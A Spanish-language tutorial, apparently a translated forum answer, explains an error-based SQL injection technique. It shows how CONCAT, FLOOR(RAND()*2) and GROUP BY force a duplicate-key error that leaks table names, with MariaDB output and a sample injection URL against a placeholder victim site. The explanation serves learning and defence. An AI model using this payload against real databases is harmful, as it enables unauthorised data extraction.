Este enlace es una excelente referencia. Vamos a romper esta consulta monstruo hacia abajo.
Bloques de construcción
En primer lugar, asegúrese de estar familiarizado con las funciones y sentencias de SQL utilizadas en el ataque:
CONCAT () 1
Concatenar varias expresiones juntas:
MariaDB [(none)]> SELECT CONCAT("SQL ", "injection ", "is ", "cool");
+---------------------------------------------+
| CONCAT("SQL ", "injection ", "is ", "cool") |
+---------------------------------------------+
| SQL injection is cool |
+---------------------------------------------+
FLOOR () 2
Devuelve el valor entero más grande que sea mayor o igual que un número:
MariaDB [(none)]> SELECT FLOOR(25.75);
+--------------+
| FLOOR(25.75) |
+--------------+
| 25 |
+--------------+
RAND () 3
Devuelve un número decimal aleatorio (sin valor semilla, por lo que devuelve un número completamente aleatorio > = 0 y < 1):
MariaDB [(none)]> SELECT RAND();
+--------------------+
| RAND() |
+--------------------+
| 0.7757022090029924 |
+--------------------+
COUNT ()
La función COUNT () devuelve el número de filas que coinciden con un criterio específico. Tenga en cuenta que COUNT(*)
es lo mismo que COUNT(1)
(consulte aquí para obtener más información). Se utiliza de esta manera para garantizar que los resultados NULOS no se excluyan del conteo.
LIMITE
Selecciona una fila y las siguientes filas hasta un número.
SELECT * FROM tbl LIMIT 5,10
Esta consulta devuelve líneas del 6 al 16.
GRUPO POR 4
A menudo se utiliza con funciones agregadas (COUNT, MAX, MIN, SUM, AVG) para agrupar el conjunto de resultados en una o más columnas.
SELECT COUNT(CustomerID), Country FROM Customers GROUP BY Country;
Esta consulta muestra el número de clientes en cada país.
0x3a
Solo el código hexadecimal para :
. Consulte su tabla ASCII favorita para obtener más información.
Ahora, poniendo las cosas juntas.
piso (rand () * 2)
TL; DR: El objetivo de este bloque es generar 0 o 1 al azar.
rand()
genera un número aleatorio entre 0 y 1, mientras que floor()
toma el entero inferior más cercano. Piense en floor(rand())
por un momento. Su salida siempre es 0. Por eso multiplicas rand()
por 2. Ahora la función floor(rand()*2)
tomará un entero en el intervalo [0,2), por lo tanto 1 o 0.
Desglosándolo
Ya que hay muchos subtrings aquí, avancemos.
select table_name from information_schema.tables where table_schema='sqli_test' limit 1,1
MariaDB [sqli_test]> select table_name from information_schema.tables where table_schema='sqli_test' limit 1,1;
+------------+
| table_name |
+------------+
| myTable |
+------------+
Selección simple del nombre de la segunda tabla devuelto desde la base de datos sqli_test
. Llamemos a este resultado @RESULT1
. Podrías almacenarlo en una variable.
concat(0x3a,0x3a,@RESULT1,0x3a,0x3a, floor(rand()*2))
Concatenación de cuerdas. Devuelve ::<TABLE_NAME>::[0-1]
. Por ejemplo, ::mytable::0
o ::mytable::1
. Nómbrelo @RESULT2
.
Para el siguiente paso, tenga en cuenta que select * from information_schema.columns;
devuelve todas las columnas en todas las tablas. Por lo tanto, si ejecutamos select @RESULT2 a from information_schema.columns;
, recibiremos algo como:
+--------------+
| a |
+--------------+
| ::myTable::0 |
| ::myTable::0 |
| ::myTable::1 |
| ::myTable::1 |
| ::myTable::1 |
| ::myTable::0 |
+--------------+
Por lo tanto, agrupémonos por @ RESULTADO2 (los nombres modificados de las tablas) y asígnelemos el nombre @ RESULTADO3:
select count(*), @RESULT2 a from information_schema.columns group by a
MariaDB [sqli_test]> select count(*), concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema='sqli_test' limit 1,1),0x3a,0x3a, floor(rand()*2)) a from information_schema.columns group by a;
+----------+--------------+
| count(*) | a |
+----------+--------------+
| 887 | ::myTable::0 |
| 962 | ::myTable::1 |
+----------+--------------+
Devuelve el número total de columnas agrupadas por tablas cuyos nombres se generaron en @RESULT2
. Tenga en cuenta que a
es solo un alias para @RESULT2
. Además, como los 0
s y 1
s se generan aleatoriamente, los números en esta tabla deben cambiar cada vez que se ejecuta la consulta.
Después de ejecutarlo un par de veces, se bloqueará.
ERROR 1062 (23000): Duplicate entry '::myTable::0' for key 'group_key'
Debido a la aleatoriedad insertada, tarde o temprano los elementos en la columna a
tendrán el mismo nombre, generando un error. Tenga en cuenta que el error gotea myTable
. BAM! Información jugosa!
¡¿De qué se trata todo eso ?!
Puede ejecutar esta consulta en una página vulnerable a Inyección SQL , como esto:
http://myvictim.com/?id=1' AND (select count(*), @RESULT2 a from information_schema.columns group by a)
Esto forzaría la filtración del nombre de la tabla. Obviamente, podría cambiar la consulta para filtrar otra información.
Sólo por estar completo, esto generaría un error como:
Operands should contain 1 column(s)
Tenga en cuenta que, de hecho, nuestra consulta SELECT...
devuelve 2 columnas, lo que hace imposible que AND
con otra consulta. Podríamos resolverlo con:
select 1 from(@RESULT3)b
Tenga en cuenta que debemos poner b
como alias, de lo contrario:
Every derived table must have its own alias.
¡Esta es una manera asombrosa e inteligente de filtrar información!